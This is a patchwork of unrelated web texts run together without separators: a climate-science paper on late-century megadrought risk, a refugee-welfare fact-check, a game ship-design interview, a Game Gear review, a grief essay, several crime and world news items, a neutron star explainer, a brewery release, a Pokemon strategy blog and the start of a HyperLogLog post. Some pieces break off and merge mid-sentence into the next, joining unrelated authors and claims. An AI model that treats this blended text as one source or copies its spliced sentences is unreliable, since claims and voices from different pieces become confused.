multidecadal drought occurrences for two periods in our multimodel ensemble: 1950–2000 and 2050–2099 (Fig. 5). During the historical period, the risk of a multidecadal megadrought is quite small: <12% for both regions and all moisture metrics. Under RCP 8.5, however, there is ≥80% chance of a multidecadal drought during 2050–2099 for PDSI and SM-30cm in the Central Plains and for all three moisture metrics in the Southwest. Drought risk is reduced slightly in RCP 4.5 (fig. S13), with largest reductions in multidecadal drought risk over the Central Plains. Ultimately, the consistency of our results suggests an exceptionally high risk of a multidecadal megadrought occurring over the Central Plains and Southwest regions during the late 21st century, a level of aridity exceeding even the persistent megadroughts that characterized the Medieval era. Fig. 5 Risk (percent chance of occurrence) of decadal (11-year) andmultidecadal (35-year) drought, calculated from the multimodel ensemble for PDSI, SM-30cm, and SM-2m. Risk calculations are conducted for two separate model intervals: 1950–2000 (historical scenario) and 2050–2099 (RCP 8.5). Results for the Central Plains are in the top row, and those for the Southwest are in the bottom row.
DISCUSSION Within the body of literature investigating North American hydroclimate, analyses of drought variability in the historical and paleoclimate records are often separate from discussions of global warming–induced changes in future hydroclimate. This disconnection has traditionally made it difficult to place future drought projections within the context of observed and reconstructed natural hydroclimate variability. Here, we have demonstrated that the mean state of drought in the late 21st century over the Central Plains and Southwest will likely exceed even the most severe megadrought periods of the Medieval era in both high and moderate future emissions scenarios, representing an unprecedented fundamental climate shift with respect to the last millennium. Notably, the drying in our assessment is robust across models and moisture balance metrics. Our analysis thus contrasts sharply with the recent emphasis on uncertainty about drought projections for these regions (21, 27), including the most recent Intergovernmental Panel on Climate Change assessment report (28). Our results point to a remarkably drier future that falls far outside the contemporary experience of natural and human systems in Western North America, conditions that may present a substantial challenge to adaptation. Human populations in this region, and their associated water resources demands, have been increasing rapidly in recent decades, and these trends are expected to continue for years to come (29). Future droughts will occur in a significantly warmer world with higher temperatures than recent historical events, conditions that are likely to be a major added stress on both natural ecosystems (30) and agriculture (31). And, perhaps most importantly for adaptation, recent years have witnessed the widespread depletion of nonrenewable groundwater reservoirs (32, 33), resources that have allowed people to mitigate the impacts of naturally occurring droughts. In some cases, these losses have even exceeded the capacity of Lake Mead and Lake Powell, the two major surface reservoirs in the region (34, 35). Combined with the likelihood of a much drier future and increased demand, the loss of groundwater and higher temperatures will likely exacerbate the impacts of future droughts, presenting a major adaptation challenge for managing ecological and anthropogenic water needs in the region.
MATERIALS AND METHODS Estimates of drought variability over the historical period and the last millennium used the latest version of the NADA (1), a tree ring–based reconstruction of summer season (JJA) PDSI. All statistics were based on regional PDSI averages over the Central Plains (105°W–92°W, 32°N–46°N) and the Southwest (125°W–105°W, 32°N–41°N). We restricted our analysis to 1000–2005 CE; before 1000 CE, the quality of the reconstruction in these regions declines. The 21st century drought projections used output from GCM simulations in the CMIP5 database (22) (table S1). All models represent one or more continuous ensemble members from the historical (1850–2005 CE) and RCP 4.5 (15 models available) and 8.5 (17 models available) emissions scenarios (2006–2099 CE). We used the same methodology as in (13) to calculate model PDSI for the full interval (1850–2099 CE), using the Penman-Monteith formulation of potential evapotranspiration. The baseline period for calibrating and standardizing the model PDSI anomalies was 1931–1990 CE, the same baseline period as the NADA PDSI. Negative model PDSI values therefore indicate drier conditions than the average for 1931–1990. To augment the model PDSI calculations and comparisons with observed drought variability in the NADA, we also calculated standardized soil moisture metrics from the GCMs for two depths: ~30 cm (SM-30cm) and ~2 to 3 m (SM-2m) (table S2). For these soil moisture metrics, the total soil moisture from the surface was integrated to these depths and averaged over JJA. At each grid cell, we then standardized SM-30cm and SM-2m to match the same mean and interannual SD for the model PDSI over 1931–1990. This allows for direct comparison of variability and trends between model PDSI and model soil moisture and between the model metrics (PDSI, SM-30cm, and SM-2m) and the NADA (PDSI) while still independently preserving any low-frequency variability or trends in the soil moisture that may be distinct from the PDSI calculation. The soil moisture standardization does not impose any artificial constraints that would force the three metrics to agree in terms of variability or future trends, allowing SM-30cm and SM-2m to be used as indicators of drought largely independent of PDSI. Risk of decadal and multidecadal megadrought occurrence in the multimodel ensemble is estimated from 1000 Monte Carlo realizations of each moisture balance metric (PDSI, SM-30cm, and SM-2m), as in (17). This method entails estimating the mean and SD of a given drought index (for example, PDSI or soil moisture) over a reference period (1901–2000), then subtracting that mean and SD from the full record (1850–2100) to produce a modified z score. The differences between the reference mean and SD are then used to conduct (white noise) Monte Carlo simulations of the future (2050–2100) to emulate the statistics of that era. The fraction of Monte Carlo realizations exhibiting a decadal or multidecadal drought are then calculated from each Monte Carlo simulation of each experiment in both regions considered here. Finally, these risks from each model are averaged together to yield the overall risk estimates reported here. Additional details on the methodology can be found in (17).
SUPPLEMENTARY MATERIALS Supplementary material for this article is available at http://advances.sciencemag.org/cgi/ content/full/1/1/e1400082/DC1 Fig. S1. For the individual models, ensemble mean soil moisture balance (PDSI, SM-30cm, and SM-2m) for 2050–2099: ACCESS1.0, ACCESS1.3, BCC-CSM1.1, and CanESM2. Fig. S2. Same as fig. S1, but for CCSM4, CESM1-BGC, CESM-CAM5, and CNRM-CM5. Fig. S3. Same as fig. S1, but for GFDL-CM3, GFDL-ESM2G, GFDL-ESM2M, and GISS-E2-R. Fig. S4. Same as fig. S1, but for INMCM4.0,MIROC-ESM, MIROC-ESM-CHEM, NorESM1-M, and NorESM1-ME models. Fig. S5. Same as Fig. 1, but for the RCP 4.5 scenario. Fig. S6. Regional average moisture balance time series (historical + RCP 8.5) from the first ensemble member of each model over the Central Plains. Fig. S7. Same as fig. S6, but for the Southwest. Fig. S8. Pearson’s correlation coefficients for three time intervals from the models over the Central Plains: PDSI versus SM-30cm, PDSI versus SM-2m, and SM-30cm versus SM-2m. Fig. S9. Same as fig. S8, but for the Southwest. Fig. S10. Same as Fig. 2, but for the RCP 4.5 scenario. Fig. S11. Same as Fig. 3, but for the RCP 4.5 scenario. Fig. S12. Same as Fig. 4, but for the RCP 4.5 scenario. Fig. S13. Same as Fig. 5, but for the RCP 4.5 scenario. Table S1. Continuous model ensembles from the CMIP5 experiments (1850–2099, historical + RCP8.5 scenario) used in this analysis, including the modeling center or group that supplied the output, the number of ensemble members, and the approximate spatial resolution. Table S2. The number of soil layers integrated for our CMIP5 soil moisture metrics (SM-30cm and SM-2m), and the approximate depth of the bottom soil layer.
This is an open-access article distributed under the terms of the Creative Commons Attribution-NonCommercial license, which permits use, distribution, and reproduction in any medium, so long as the resultant use is not for commercial advantage and provided the original work is properly cited.
Acknowledgments: We thank H. Liu and N. Henderson for invaluable computing support at Lamont-Doherty Earth Observatory and E. Cook for providing the NADA data. All model data are freely available on the CMIP5 archive. Finally, we thank two anonymous reviewers who provided comments that greatly improved the manuscript. Lamont contribution #7865. Funding: Funding for B.I.C. for this work was provided by the NASA Modeling, Analysis, and Prediction Program and NASA Strategic Science. Support for J.E.S. came from NSF Awards AGS-1243204 (“Collaborative Research: EaSM2–Linking Near Term Future Changes in Weather and Hydroclimate in Western North America to Adaptation for Ecosystem and Water Management”) and AGS-1401400 (“P2C2: Continental Scale Droughts in North America: Their Frequency, Character and Causes Over the Past Millenium and Near Term Future”), and NOAA Award NAOR4310137 (“Global Decadal Hydroclimate Variability, Predictability and Change: A Data-Enriched Modeling Study”). Funding for T.R.A. was provided by startup funds from Cornell University’s College of Agriculture and Life Sciences (CALS). Author contributions: B.I.C., T.R.A., and J.E.S. conceived of the study. B.I.C. conducted all the analyses except the risk calculations and wrote the paper. T.R.A. conducted the risk calculations. T.R.A. and J.E.S. contributed feedback to the analyses and writing.A widely circulated post on social media alleging Syrian refugees receive more money for food than Canadians on welfare is not true, say federal and provincial officials who also debunk other widely circulated claims.
The Facebook post, which also appears on Instagram, began circulating on Dec.18, and government officials say it is the latest in a series of false claims on social media.
The federal Liberals set themselves a deadline to resettle 10,000 refugees by Dec. 31. That date has passed and they're still working on it: the latest data on the Immigration Department's website says 6,720 Syrian refugees have arrived in Canada since Nov. 4. Of those, 2,586 are on government assistance.
They're still aiming to resettle 25,000 Syrian refugees by March 1.
The post claims government-assisted refugees from Syria receive $61 a day for food compared to welfare recipients in B.C. who are said to receive $3 a day.
"A Canadian welfare recipient [in B.C. for example] receives only $3 per day for food while our government will spend $15 per refugee for breakfast, $16 for lunch and $30 for dinner per refugee," the post says.
"Funny how we are willing to spend more money to feed people instead of helping our own first."
Federal and provincial officials told CBC News that the figures are simply "not correct," and federal monthly support for Syrian refugees is based on provincial and territorial welfare rates.
Claims circulating on social media 'not correct'
The post appears to back its claim by linking to separate media reports, but takes the figures included in the reports out of context.
One report cites a government call for tender that would reimburse hotels near the Toronto and Montreal airports for providing Syrian refugees for up to three meals a day.
B.C.'s Ministry of Social Development said "there is some confusion that funding given to hotels that temporarily house refugees in rooms without kitchenettes are'meal allowance rates.'"
"This is not correct."
Government-assisted refugees arriving in Canada are given temporary accommodations until they move to new homes in one of some 85 communities across the country.
"In fact," said Sonia Lesage of the Department of Immigration, "the food allowance for government-assisted refugees during short-term, temporary stays in hotels is $10 per day per adult and a flat fee of $50 per minor [no matter length of stay]."
Refugee support on par with welfare assistance
Once permanent housing has been found, the federal government provides Syrian refugees with income support for up to one year or until the refugees can support themselves — whichever comes first.
Refugees receive up to a maximum of $25,000 per family, which includes "a onetime startup payment to assist the refugees in establishing a household in Canada, as well as monthly income support to help them get through their first year in the country," said Nancy Chan, a communications adviser in the Immigration Department.
"In addition to initial allowances issued while in temporary accommodation, government-assisted refugees receive monthly income support which includes a monthly food and incidental allowance that varies by family composition," said Nancy Caron, a third federal immigration official, in an email to CBC News.
"For Vancouver, this amount for a single person is $235 per month."
That's the same amount of money a welfare recipient living in B.C. would receive in support allowance, which includes money for food.
An adult on welfare, according to B.C.'s Ministry of Social Development, would receive $610 per month in income assistance — $375 for shelter and $235 for a support allowance that includes food.
"Government-assisted refugees...," said the B.C. ministry in an email to CBC News, "do not receive more monthly support than people on income assistance."
Additional financial support is available for Canadian families and persons with disabilities who are on welfare, said the ministry.
The Facebook post also cites a media report about NDP MP Jenny Kwan's efforts to urge the B.C. government to increase welfare assistance.
While it is fair to debate whether provincial governments should increase their standard rates for welfare, it is false to say Syrian refugees receive more financial support for food than Canadians on welfare.
Ottawa debunks other false claims
Another post shared online as recently as November claimed that Syrian refugees are receiving more in monthly financial assistance than Canadian pensioners.
The claim was circulated so widely that the federal Immigration Department debunked the claim.
"No. Refugees do not get more financial help from the federal government than Canadian pensioners do," said the website.
Privately sponsored refugees don't receive financial assistance from the government, as they are supported by individual Canadians or groups who have agreed to care for them.
"Normally, a private sponsor supports a refugee for 12 months, starting from the refugee's arrival in Canada or until the refugee becomes self-sufficient, whichever comes first," said a notice on the website.How did you build the Idris?
The Idris was great fun to build and ‘engineer.’ The requirements Chris laid down were a long list of often mutually exclusive design points, but I find that having to package a lot of tough elements in an aesthetically cool design can really make for a neat ship. That is to say that a design ‘earns’ a coolness by being functional and thought out down to the spars and ribs, rather than just being a styling exercise. Chris knew the number of engines, rough weight class, armament fit, function and mission capability and I just worked from there. I always start extremely roughly and send Chris 8-12 rough ideas, each of which has their pluses and minuses.
With this ship there was more time than usual spent at this early stage to get the right look — something that worked functionally, but also a design that looked a bit older, a bit more pugnacious and a bit more functional than some of the other ships. I love this approach; you can have your sleek, refined F-22 but then next to it you can have your F-15 or even F-4, with all of their comparatively brutish shapes and forms, tons of antennas and pylons sticking off — yet they both look cool in their own ways.
Since this ship can land atmospherically and is pretty large, it was a special challenge to incorporate a plausible VTOL-to-orbit-and-beyond capability. I decided to arrange the pivoting engines in such a way that they functioned in VTOL, atmospheric, and exoatmospheric modes — it’s a similar concept to that used on the Avatar Valkyrie, but on a much larger scale and with better engine failure redundancy. Arranging the engines all around the center of gravity and providing functioning landing gear and a bridge with good visibility and weapons with good field of fire coverage were all challenges. For the Idris I also had to give special consideration to the interior packaging — enough room for the cargo and small ship operations, but also enough room for the crew to have some room to spread out and even some private spaces to eat, entertain or just get away from your crewmates for a bit.
What was your inspiration for the ship’s look?
Chris was pretty specific about wanting something that would subtly evoke naval ships but didn’t look too submarineish — something that had a very distinctive silhouette and looked more functional and utilitarian than the aesthetic of, say, the Constellation. It’s less about angular panels and it has more radii, a different surface development.
The Idris is built by Aegis rather than RSI. Did this impact your design?
Definitely, and this ties in directly with your previous question because we are really trying to make the manufacturers distinct. In the same way you can tell a Lockheed product from a Northrop product, or a current-day American aircraft carrier from a Russian aircraft carrier. We want to go much further than that; it makes the world seem larger and it’s more fun to do.
What can you tell us about your plans for the Idris’ internal cabin?
With all the designs I do I think about the exterior shape first, but almost immediately put rough blocks in the model that represent rough guesses I have about where the internal elements are. I start with the engines and specific payload requirements and then find a good place for the bridge and weaponry, and the last thing to go in are the personal spaces like kitchen and bathrooms. These often get shifted around in the back and forth process with Chris, but it is best to settle on them early if possible. From the research I’ve found this is the way it’s done when building real ships and aircraft, so I try to emulate that approach for greatest realism.
I also try and work hull thicknesses and doors into the equation early, as I realize the importance of figuring that out. I try to keep the forward and rear facing hull structure the thickest. The beam positions can be a little lighter, as they would have less of a chance of sustaining ongoing fire and would more likely take a fleeting shot. One idea Chris had which was fun to play out is that he wanted to stay away from a lot of elevators in this ship and force the use of a lot of stairs to help sell the fact that the design is a bit older and less techy. Therefore the final design has a lot of doors and some retracting stairs, which then forces thought into airlocking those hull punctures. It was a very fun ship to work on. While building it I would kind of dolly and zoom around, pick angles that look cool and ask myself what would functionally be there and what could I put there to make this a fun place to spend time.
Can you give us a hint about your next ship design?
Hmm, yes, I just started working on the next design and I guess the hint I would give is more of an indication of where my head is right now — realizing that the aesthetic for the new ship will be different than that of any of the other ships I’ve done so far.Genre: Beat-‘Em-Up Developer: Sega Publisher: Sega Players: 1-2 Released: 1992
The Game Gear never got much in the way of beat-’em-ups, which is a bummer for me since it’s easily one of my favorite genres of classic gaming. I actually started out owning a copy of Streets of Rage 2 for the Game Gear first, and for me, it was one of the best games on the struggling handheld. I didn’t come across a copy of the first one until some years later and finally decided to pick it up since it was so cheap. I didn’t know what to expect from it, since it seemed to pretty much go under the radar and has all been forgotten and overshadowed by its superior sequel. I decided to give it a try since there was almost no review coverage for it online, and I was trying to slowly go through and play my entire Game Gear library. Obviously, my first impressions were not good. This version of Streets of Rage is forgotten for a reason. It’s far from the worst Game Gear game or anything like that. Heck, it even copies the Genesis original pretty closely, but it’s just a stripped-down and flawed version of the series’ start, which I thought wasn’t all that impressive to begin with.
When you first start the game up, you will instantly be familiar with the title screen and story if you’ve played the Genesis version. You can only pick from Axel and Blaze this time around, as Adam is missing. The game only has five of the eight stages present in the original, which is actually a good thing if you ask me, since the eight stages took too long and made the game very tedious. Each of the stages present here replicates its console sibling almost perfectly just with more limited graphics and audio. Again, not a bad thing, and the programmers deserve due credit for this area of the game. The graphics have a ton of detail here, and almost all of the objects and backgrounds made it over. Only having five stages present left the programmers plenty of cartridge space to make the graphics shine. The music here sounds very 8-bit like it should, but each of the tunes are instantly recognizable and very memorable here. This is a huge plus, since they’re from a series renowned for its excellent music. Yuzo Koshiro really shines, even here with the lesser horse power of the Game Gear.
Unfortunately, the gameplay doesn’t fare as well here. This game was very difficult to play through for me this time around, and I decided to use a cheat code to finish it with invincibility, as the collision detection is really shoddy. Axel is just a tad too slow and is overpowered by the enemies’ speed too easily. Blaze is fast enough to keep up but is too weak and is also overpowered by the enemies’ strength. Your basic punch |
my depression are winning out. They won’t win forever. But for now, they are. So I am relying on the rest of you for a little bit. I will be back out there fighting for what is right, but right now I need to be here, curled up in my hole for just a while longer.
I need to feel this grief now because, ultimately, it is what will motivate me to fight like hell to make this world better. I cannot be rushed through this sadness now, because later it is what will propel me to do the hard work within myself, within my classroom and within my own family. I need to feel the full weight of this injustice now because in a few more days it is what is going to spur me into further action.
Because as scared as I feel right now, I know that there are so many young LGBT people living in this country that are feeling all of this and much, much more. And if we do not start soon to make this world better for them and for everyone else who is feeling vulnerable right now, we are going to be in danger of losing so many beautiful and important lives.
And for them. For all of those people out there who are in their own holes of despair, we all have a lot of work to do. So for now, we can wear our safety pins, we can write our words of outrage, but soon we must pull ourselves out of our stupor and start taking actions to dramatically change the way this country thinks. Because that is where the real work will begin.
AdvertisementsThe Charleston Courier and Post apologized for sticking a gun advertisement on Thursday's front page. It covered part of the headline about deadly church shooting.
"The front-page sticky note that was attached to some home delivery newspapers on the same day as this tragedy is a deeply regrettable coincidence. We apologize to those who were offended," the newspaper said in a statement.
Police arrested 21-year-old Dylan Roof for allegedly opening fire during a Wednesday night prayer meeting at the Emanuel AME Church in downtown Charleston.
Nine people were killed, including the Rev. Clements Pinckney, a South Carolina state senator and pastor at the historically black church.
Journalist Jim Romenesko wrote in his blog that an advertising manager at the newspaper said it was "unfortunate timing" on a scheduled ad.
Romenesko pointed out that it could have been removed and rescheduled.A neutron star has a mass of about 1.4 times the mass of the sun, but is not much bigger than a small city, about 15 km in radius.
A teaspoon of neutron star material would weigh about 10 million tons. The gravitational field is intense; the escape velocity is about 0.4 times the speed of light.
The collapsed star is so dense that electrons and protons do not exist separately, but are fused to form neutrons. The outer layers form a rigid crust surrounded by an atmosphere of a highly energetic electrons and excited atoms.
The neutron star acts like an enormous magnet, with the magnetic poles tipped at an angle to the axis of rotation. Like the Earth, the pulsar is surrounded by a magnetosphere, a region in which electrons and other particles are accelerated by the magnetic field. However, the magnetic field of the neutron star is much stronger than the Earth's and the electrons move at velocities close to the speed of light, emitting synchrotron radiation in a narrow beam along the direction of the magnetic poles.Tennessee Brew Works announces the year-round bottle release of their “Extra Easy” ESB
Nashville, Tennessee – August 19, 2016 – Tennessee Brew Works, which began officially brewing beer in downtown Nashville August 2013, has announced the year-round bottle release of their ESB, “Extra Easy.” The brewery states that, “Sipping this malt forward beer, with tones of apricots, peaches, plums, and caramel, you’ll want to relax and appreciate the moment.”
This traditional English-style ale was actually the first beer released (in draft) by Tennessee Brew Works in 2013. After repeated requests by supporters, the brewery has decided to offer it in (bottle) package throughout the year.
Already available year-round in draft, this beer will now also be available in bottles throughout the greater metropolitan areas of Nashville, Chattanooga, Clarksville and Memphis.
ABOUT THE BREWERY
Tennessee Brew Works was born from a love for craft beer. A start-up which began over a home-brew session in 2010, they ultimately celebrated their first professional brew in August 2013. Tennessee Brew Works is 100% owned and operated by folks in Tennessee. They are guided by their motto: “We work hard to create high quality craft beer that makes Tennessee proud. Our culture places importance on family, friends, and community, and we hope you’ll be a part of it.”Authored By chloe.morrison
National Public Radio issued a statement Monday rebuking UTC’s decision to fire a WUTC-FM reporter, pointing out that removing the controversial article she wrote was a breach of NPR standards.
That’s significant because university officials said they fired the reporter, Jacqui Helbert, for violating NPR standards by not identifying herself as a reporter when recording state lawmakers. WUTC is an NPR affiliate and is expected to follow the organization’s ethical standards.
UTC officials fired Helbert, formerly a producer and assistant broadcaster for WUTC, after she reported a story about a high school gay-straight alliance that recently visited lawmakers in Nashville to discuss proposed “bathroom bill” legislation.
She said she went there wearing press credentials and full radio gear, but she didn’t explicitly identify herself as a reporter to lawmakers.
Some UTC officials and state legislators were upset that she didn’t clearly identify herself.
Many local residents said it appears that lawmakers pressured university officials to pull the story and fire Helbert, an accusation that at least one legislator denied.
For background, click here and here.
Mark Memmott, NPR’s supervising senior editor for standards and practices, and Michael Oreskes, NPR’s senior vice president of news and its editorial director, made the following statement about the situation Monday:
The University of Tennessee-Chattanooga has said the decision to terminate the employment of reporter Jacqui Helbert was made by university officials, not the news editors at WUTC. The station’s news staff says the decision to remove from WUTC’s website the story that Helbert had done about meetings held by state legislators with students from a gay-straight alliance club was also made by university officials, not WUTC’s editors. (That story has been archived here.) Serious questions have been raised about whether university officials were pressured to take those actions by state lawmakers-who could cut state funding to the school and WUTC. In both cases we at NPR believe the decisions should have been left to the journalists in charge. Taking the decisions about enforcing ethics out of their hands did more to undermine the station’s credibility than the original infraction. This chain of events underscores why it is critical that newsrooms such as that at WUTC not be subject to pressure from the institutions that hold their licenses, the sponsors who give them financial support or the politicians who sometimes don’t like the stories they hear or read. To be sure, Helbert should have said explicitly to the legislators that she was there to report a story for WUTC. That said, the fact that she was wearing press credentials and was holding a 14-inch-long microphone that she moved around as people spoke would be obvious signs to any public officials that they were being recorded-most likely for some type of public posting. Her mistake was not, her editors say, a firing offense. Instead, it was a learning moment for a new reporter and she was counseled about her mistake. Her editors did not view the story as fatally flawed-she had not hidden her equipment or misled anyone. They say they would not have removed it from WUTC’s website if they had not been ordered to do so. Removing a story-except in the most extreme circumstances-is a breach of the standards practiced by NPR and other credible news organizations. We at NPR agree with the editors’ thinking. They should have been allowed to handle the situation as they-the journalists-felt was right. We strongly urge the university and WUTC to reach an agreement that ensures the station’s editorial independence in the future.
UTC officials couldn’t immediately be reached for comment Monday night.TUSTIN – After arguing with his mother, a 16-year-old was found pouring gasoline over her while she was sleeping, according to officials.
The teenager was spotted by his stepfather Sunday night, who walked into the bedroom before the gas was ignited, said Lt. Roland Chacon of the Orange County Sheriff’s Department.
The boy was taken to Juvenile Hall on suspicion of attempted murder, Chacon said.
The teenager and his mother had been arguing earlier in the day, he said. What the argument was about is not immediately clear.
It was about 10 p.m. when deputies were called to the 14400 block of Livingston Avenue in an unincorporated area of Tustin, Chacon said.
“The stepfather of the 16-year-old walked in on (him) pouring gasoline over his mother while she slept,” he said.
The teen’s name was not released because he is a minor. The mother was not injured.
Contact the writer: shernandez@ocregister.com or 949-454-7361RIDE with DARREN
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Police arrived at the restaurant only to find ingredients to make meth, including Coleman fuel, lye, drain cleaner, and other materials commonly associated with the drug, reported KWWL. Christopher Mathous, an employee, was found outside with a peeled lithium battery—another meth ingredient—near his feet.
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Mathous confessed to officers that he made his own personal stash of meth to “stay high all the time.”
The Taco Bell will remain closed until investigations are completed and the store is decontaminated by “professional environmental experts.”
“At this time, there is no evidence that there is a health risk to the public,” Pramod Dwivedi, health director at the Linn County Public Health Department, said.
Write to Tanya Basu at tanya.basu@time.com.Preface
I would like to sincerely thanks the people of reddit for giving my blog a chance. I posted my first article, a highly speculative piece on Gumshoos, on r/stunfisk, and I was unsure how it would be received. I thought the outside link would hurt the post, and that people would brush it aside because the Pokemon I was writing about isn’t even released yet. In the end, all I got was helpful feedback. I gained some insight into my writing and how I would narrow my focus to try to fit a narrative in my head. I’m working hard now to correct what was wrong with that article. My post and comments still have positive vote scores, so that’s nice, too.
Rain in Gen 5 OU
Anyone who has ever played BW OU would use the same word to describe that metagame : weather. Weather was a ubiquitous force in Gen 5 OU. Nearly every team in that meta integrated a weather condition, and the ones that didn’t prepare for weather were significantly disadvantaged. Most battles were framed in terms of a “weather war”, where each player attempted to keep their weather-setter alive longer than the opponent. Whoever kept their setter alive could dictate the weather conditions of the endgame phase. But how did this metagame dominating element suddenly rise to prominence?
The answer lies in the Dream World and uses a bit of circular logic. Prior to Gen 5, each permanent weather ability had scarce distribution : Drizzle was exclusive to Kyogre, Drought to Groudon, and Sand Stream to Tyranitar (and Hippowdon). Thanks to the Dream World mechanic of Gen 5 bestowing Hidden Abilities onto Pokemon, Drizzle and Drought were made available to non-Uber Pokemon. Drought was given to Ninetails and Drizzle was given to Politoed. Rain now had a permanent weather-setter that could be used in OU, but Politoed was not well received.
As it was played in DPP OU, the Rain Dance playstyle was not conducive to using Politoed as a rain-setter. DPP Rain was played under the quick 5-8 turns of Rain Dance to put immense pressure on opponents. A fast or bulky setter would set up rain, pivot out to a Dry Skin user (made bulkier by the rain) to begin wearing down the opponent. Rain ended and a core of support Pokemon would weaken the opponent further and set up rain again; this time, a Swift Swin user would sweep.
This playstyle, based on speed and efficient use of rain turns, had no need for a weak and momentum-killing Politoed. Early analysis predicted Politoed to become a staple in UU. The only utility Politoed seemed to have in OU was the ability to remove the damaging sand created by Tyranitar. This initial threat became psychological, as sand teams prepared to compete with the possibility of long-term rain teams.
Here’s where some circular logic comes in. A classic Prisoner’s Dilemma arms race occurred. The threat of other weather teams pressured Tyranitar users to build teams around the sand, using Pokemon immune to sand damage and with beneficial abilities and typing (Sand Force Landorus-I). The heavy and damaging presence of sand led players to seek a way to stop it, encouraging them to add Politoed-induced rain to their teams (one of the few Pokemon Politoed could check was Tyranitar). Weather abuse abilities (namely, Swift Swim) were eventually banned, so that should’ve controlled the rise of Politoed rain. However, adding Politoed to a team only to get rid of sand seemed odd. It shouldn’t have been enough to justify having a weather war every game.
The Absolute Emperor of OU
The true answer lies in the top Pokemon in OU, and the OU newcomers brought by Gen 5. Take OU mainstay, Scizor. Before the move changes implemented in Gen 6, Scizor had a monumental problem. Before its nerf, Hidden Power could hit 70BP and situations like these became possible. Any Landorus-T set could switch in, live an Intimidated hit, and 2HKO ANY Scizor variant with HP Fire.
0 SpA Landorus-T Hidden Power Fire vs. 0 HP / 4 SpD Scizor: 252-300 (89.6 – 106.7%) — 37.5% chance to OHKO
0 SpA Landorus-T Hidden Power Fire vs. 252 HP / 216 SpD Scizor: 200-236 (58.1 – 68.6%) — guaranteed 2HKO after Leftovers recovery
Luckily, this weakness was solidly mitigated by one Pokemon. Politoed could set up permanent rain and make the same Landorus a setup fodder for SD Scizor.
0 SpA Landorus-T Hidden Power Fire vs. 252 HP / 216 SpD Scizor in Rain: 96-116 (27.9 – 33.7%) — 90.1% chance to 4HKO after Leftovers recovery
Scizor continued to be a staple in BW OU, since it had synergy with the most popular weather cores. Its weaknesses favored inclusion on a rain team. But, Scizor was not the only one to gain immensely from the rain. The 5th Gen added a multitude of Pokemon that benefited from the rain in indirect ways. Ferrothorn received the same buff as Scizor, but executed a defensive role. Keldeo received a free Specs-level boost to its Water moves, allowing it to run a Scarf-“Specs” set in the rain. Tornadus’s Hurricane hit with 100% accuracy in the rain. Thundurus-T could use 100% accuracy Thunder as its STAB attack and secure crucial OHKOs on counters such as Terrakion.
252 SpA Life Orb Thundurus-T Thunderbolt vs. 4 HP / 0 SpD Terrakion: 239-282 (73.7 – 87%) — guaranteed 2HKO after Stealth Rock
252 SpA Life Orb Thundurus-T Thunder vs. 4 HP / 0 SpD Terrakion: 302-356 (93.2 – 109.8%) — 93.8% chance to OHKO after Stealth Rock
The existence of Pokemon like Scizor, Ferrothorn, Keldeo, Tornadus, and Thundurus made rain capable of dominating the metagame. By no means do any of these Pokemon need weather to do well, but the amount they gain from weather is great enough to justify playing with essentially 5 Pokemon.
Early in BW discussions, it was thought that Politoed would never be useful enough to join OU. Teams wouldn’t want to waste a team slot on a lackluster defensive pivot just to set rain. The nuisance of sand wasn’t that bad. Leftovers would cancel out the damage. What wasn’t apparent then was that, even after Sand Rush and Swift Swim were banned, there were strong Pokemon made even stronger by the rain. These Pokemon weren’t built to use rain to apply immediate pressure, but they were meant to use rain to elevate their pressure for extended periods of time. Those Pokemon would be made so much stronger that teams would “waste” a slot on Politoed to ensure those buffs can remain throughout the battle.
Advertisements(CNN) -- North Korea may be preparing for a new atomic bomb test a month after its last test, a U.S. official said Thursday.
This screen grab from North Korean television on April 9 shows leader Kim Jong Il in Pyongyang.
The official, who is not authorized to speak on the record, told CNN that Washington has "indications" that North Korea may be planning another test, which would be its third since 2006. The official would not provide any details, however.
The possible preparations come as the U.N. Security Council debates whether to impose additional sanctions on the communist state in response to its May 25 test of a nuclear device, as well as several subsequent missile tests. Susan Rice, the U.S. ambassador to the United Nations, said Wednesday that North Korea "must pay a price" for its defiance of the international community, which has demanded Pyongyang halt those tests.
In July 2008, U.S., Russian, Chinese, Japanese and South Korean negotiators reached an agreement with North Korea for it to resume the disablement of its nuclear facilities. But the deal has faltered over plans to allow the other parties to verify whether Pyongyang has revealed all of its nuclear secrets.
North Korea has since threatened to restart its nuclear fuel plant at Yongbyon.
Stephen Bosworth, the Obama administration's special representative for North Korea, told the Senate Foreign Relations Committee on Thursday that all parties -- including China, long North Korea's major ally -- have agreed to "coordinated steps" to get North Korea to reverse its recent moves away from the six-party agreement.
"On our recent trip, we find that China shared a deep concern about North Korea's recent actions and a strong commitment to achieve denuclearization," Bosworth said. "Our challenge now is to work with China to turn that commitment into effective implementation of the U.N. Security Council resolutions."
But Victor Cha, the former Asia director at the U.S. National Security Council, told the committee that additional sanctions could result in a new North Korean test.
"When the Bush administration undertook some of these financial measures, many people argued it led to North Korea's first nuclear test," Cha said. "And the question arises whether these financial measures will then lead North Korea to their third nuclear test. And I don't think we know the answer to that."
Earlier this month, the eldest son of North Korean leader Kim Jong Il, in a rare television interview, shed some light on who might eventually take over the secretive Communist nation. Kim Jong Nam told TV Asahi, a Japanese television network, in Macau that he does not care about politics or about succeeding his father.
Kim Jong Il is widely reported to have suffered a stroke in August and has been absent from many public functions in recent months. In April, he named his son, Kim Jong Un, and brother-in-law, Jang Song Thaek, to the country's powerful National Defense Commission, suggesting his third son may be his heir.
"I hear that news in the media," Kim Jong Nam said. "I think it's true... however, it is my father's decision. So once he decides, we have to support him."
All About North Korea • South Korea • Nuclear Weapons • Kim Jong-ilA wolf in sheeps clothing
Wow, so apparently the Reddit community has outed (and as of 15 minutes ago, ousted) colleague Doug Turnbull as the vile spammer that he is! Apparently he has been shamelessly promoting his own blog posts! And among his tactics, the use of voting rings. Yes, and even some of my own colleagues succumbed to his pressure to upvote his sales pitches – including this one masked as a post about test driven search relevancy. (Though I must admit… it is an interesting read… and Doug is an eloquent writer)
But not I. No, Im as white as the wind driven snow, as pure as a mountain stream, as innocent as a newborn babe. And as a matter of fact, this has all got me thinking: How can I help prevent things like this from happening in the future? In particular, how can I help Reddit prevent voting rings from forming in the future? And then it occurred to me: the HyperLogLog counter.
What is the HyperLogLog counter?
The HyperLogLog counter is a really neat probabilistic data structure that estimates the count of unique elements in a list. For instance, lets say you have a really popular web page and you want to perfectly count the number of unique visitors. To keep a count of uniques, you have to store every IP address that you ever see. And upon receiving a new IP address, you have to first check that the new IP address has not been run across before, and only then do you increment the site counter. Under the best of situations, the storage and the computation probably scale as O(log(n)). (What would you use? Tries? Skip-lists?)
